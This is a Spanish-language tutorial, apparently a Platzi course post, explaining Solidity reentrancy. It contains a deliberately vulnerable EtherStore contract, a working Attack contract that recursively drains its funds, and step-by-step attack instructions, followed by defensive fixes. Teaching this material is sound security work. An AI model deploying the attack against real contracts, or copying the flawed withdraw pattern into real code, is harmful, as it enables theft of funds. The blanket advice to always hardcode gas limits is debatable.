Solidity: Ataque Reentrancy

El depósito y retiro de ETH en un contrato por parte de un usuario puede exponer vulnerabilidades si los mismos no se realizan de la forma correcta.

Reentrada de transacciones

Uno de los problemas de seguridad más comunes es el denominado Reetrancy que provoca llamadas recursivas a una misma función de un contrato hasta vaciar los fondos del mismo.

Veamos de qué se trata esta vulnerabilidad y cómo prevenirla a través de un simple ejemplo:

Explicación del contrato vulnerado

Utilizaremos de ejemplo un contrato inteligente que permite depositar y retirar ETH. Cada dirección solo puede retirar sus propios fondos, pero la vulnerabilidad permitirá que un atacante se quede con todos los fondos.

NOTA: El ejemplo de esta vulnerabilidad fue tomado y adaptado originalmente de Solidity by examples.

Contratos involucrados

Comencemos con el contrato principal que contiene la lógica de negocios para el depósito y retiro de Ether.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;

contract EtherStore {
  mapping(address => uint) public balances;

  // Deposito de ETH
  function deposit() public payable {
    balances[msg.sender] += msg.value;
  }

  // Retiro de ETH
  function withdraw() public {
    uint monto = balances[msg.sender];
    require(monto > 0);

    (bool sent, ) = msg.sender.call{value: monto}("");
    require(sent, "El envio de ETH ha fallado.");
    balances[msg.sender] = 0;
  }

  // Funciona auxiliar para visualizar el balance total del contrato
  function getBalance() public view returns (uint) {
    return address(this).balance;
  }
}

Por otro lado, el contrato atacante. Presta atención a la función receive() que es la vía por la cual se genera la recursividad y permite el robo de todos los fondos.

contract Attack {
  EtherStore public etherStore;

  constructor(address _etherStoreAddress) {
    // Creamos la instancia de EtherStore.
    etherStore = EtherStore(_etherStoreAddress);
  }

  // Función receive() es llamada cuando EtherStore envia ETH a este contrato.
  receive() external payable {
    // Al retirar el primer ETH, EtherStore lo enviará a este hook que vuelve a llamar a withdraw de forma recursiva
    if (address(etherStore).balance >= 1 ether) {
      etherStore.withdraw();
    }
  }

  // El ataque consiste en depositar 1 ETH e inmediatamente retirarlo
  function attack() external payable {
    require(msg.value >= 1 ether);
    etherStore.deposit{value: 1 ether}();
    etherStore.withdraw();
  }

  // Funciona auxiliar para visualizar el balance total del contrato.
  function getBalance() public view returns (uint) {
    return address(this).balance;
  }
}

Procedimiento para vulnerar el contrato

  1. Desplegar el contrato EtherStore.
  2. Depositar 1 ETH con dos cuentas. Hasta este punto, el contrato tendría 2 ETH.
  3. Desplegar contrato Attack que recibe en el constructor la dirección de EtherStore.
  4. Hacer el llamado a Attack.attack enviando 1 ETH con una tercera cuenta para tener acceso a realizar una extracción. El contrato atacante recibirá los 3 ETH.

¿Qué sucedió aquí?

Attack llamó a EtherStore.withdraw múltiples veces antes de que EtherStore.withdraw finalice su ejecución.

Así es el orden de llamados de las funciones:

  • Attack.attack
  • EtherStore.deposit
  • EtherStore.withdraw
  • Attack.receive() (recibes 1 ETH)
  • EtherStore.withdraw
  • Attack.receive() (recibes 1 ETH)
  • EtherStore.withdraw
  • Attack.receive() (recibes 1 ETH)

¿Por qué sucedió?

Al realizarse las llamadas de forma recursiva, el balance de la cuenta del atacante nunca llega a 0 y, por lo tanto, permite seguir haciendo retiros. Observa que el balance de la cuenta del contrato atacante se setea a 0 recién en la última línea de código de la función withdraw().

function withdraw() public {
    uint monto = balances[msg.sender];
    require(monto > 0);
    (bool sent, ) = msg.sender.call{value: monto}("");
    require(sent, "El envio de ETH ha fallado.");
    balances[msg.sender] = 0;
}

¿Cómo se puede evitar?

Hay al menos tres medidas que puedes tomar para evitar este enorme problema de seguridad.

  1. El primero es mover el seteo del balance a 0 antes del llamado a la función externa.
function withdraw() public {
  uint monto = balances[msg.sender];
  require(monto > 0);

  balances[msg.sender] = 0;   // Seteo del balance antes del 'msg.sender.call'

  (bool sent, ) = msg.sender.call{value: monto}("");
  require(sent, "El envio de ETH ha fallado.");
}

Corresponde setear a 0 el balance de la cuenta que retira sus fondos antes de realizar el llamado externo. En el caso de que el llamado falle por otro motivo, no te preocupes, ya que el require() hará un revert() y los balances volverán a como estaban antes del fallo.

  1. También puedes setear el uso del gas en la llamada externa.
(bool sent, ) = msg.sender.call{value: monto, gas: 10000}("");

Siempre es aconsejable configurar el gas disponible para un llamado externo

  1. Otra forma de solucionar esta vulnerabilidad es con un modificador que valide que la función no se esté llamando de forma recursiva. Afortunadamente, OpenZeppelin ya tiene un contrato auditado y seguro para solventar este problema.
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

contract EtherStore is ReentrancyGuard {
  // ...

  function withdraw() public nonReentrant {
    // ...
  }
}

Conclusión

Has visto hasta aquí la exigencia de desarrollar un contrato inteligente que administre correctamente fondos. Un simple cambio de orden en la lógica de un contrato puede causar perdidas millonarias. Claro que ya las ha causado y, por este motivo, Reentrancy es una vulnerabilidad bien conocida que debes prevenir estudiando su funcionamiento y escribiendo código de forma segura.


Post creado en colaboración con el Curso de Seguridad de Smart Contracts de Platzi.